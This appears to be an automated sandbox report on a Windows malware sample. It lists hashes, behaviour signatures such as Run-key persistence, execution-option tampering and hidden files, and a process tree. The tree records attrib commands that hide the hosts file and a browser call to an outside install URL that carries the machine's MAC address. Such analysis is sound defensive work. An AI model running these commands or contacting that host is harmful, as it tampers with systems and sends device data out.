Analysis

  • max time kernel
    165s
  • max time network
    173s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/12/2023, 19:29

General

  • Target
    01bfebc3f660c903173996fc72dc6aab.exe
  • Size 46KB
  • Sample231229-x7f6esefb8
  • SHA256 2e77fa98a7162100e1413a3f3073eeed00e6d80c5eb7f0547ea198d62517a378
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets file execution options in registry 2 TTPs 12 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Drops file in Windows directory 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 29 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3428
      • C:\Users\Admin\AppData\Local\Temp\01bfebc3f660c903173996fc72dc6aab.exe
        "C:\Users\Admin\AppData\Local\Temp\01bfebc3f660c903173996fc72dc6aab.exe"
        2⤵
        • Adds policy Run key to start application
        • Drops file in Drivers directory
        • Sets file execution options in registry
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2992
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -h "C:\Windows\system32\drivers\etc\hosts"
          3⤵
          • Views/modifies file attributes
          PID:4804
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +h "C:\Windows\system32\drivers\etc\hosts"
          3⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:3568
        • C:\program files\internet explorer\iexplore.exe
          "C:\program files\internet explorer\iexplore.exe" "http://360cctt.cn/install.asp?ver=081211&tgid=qq18&address=DE-9D-3A-49-EF-0E&regk=1&flag=7518cd6a2f6a92c711347ee53c52d414&frandom=6382"
          3⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1004
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1004 CREDAT:17410 /prefetch:2
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:5104
    • C:\Windows\system32\AUDIODG.EXE
      C:\Windows\system32\AUDIODG.EXE 0x300 0x32c
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2636

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          ~DF7AF7CC7EDFC9E6CF.TMP

          • Path C:\Users\Admin\AppData\Local\Temp\~DF7AF7CC7EDFC9E6CF.TMP
          • Size 16KB
          • SHA256 5c96afb49401c65b38a3ed49a3d6bbab869bda7e36b9075734f959511fc55536
          • MD5 SHA1 SHA512 SSDEEP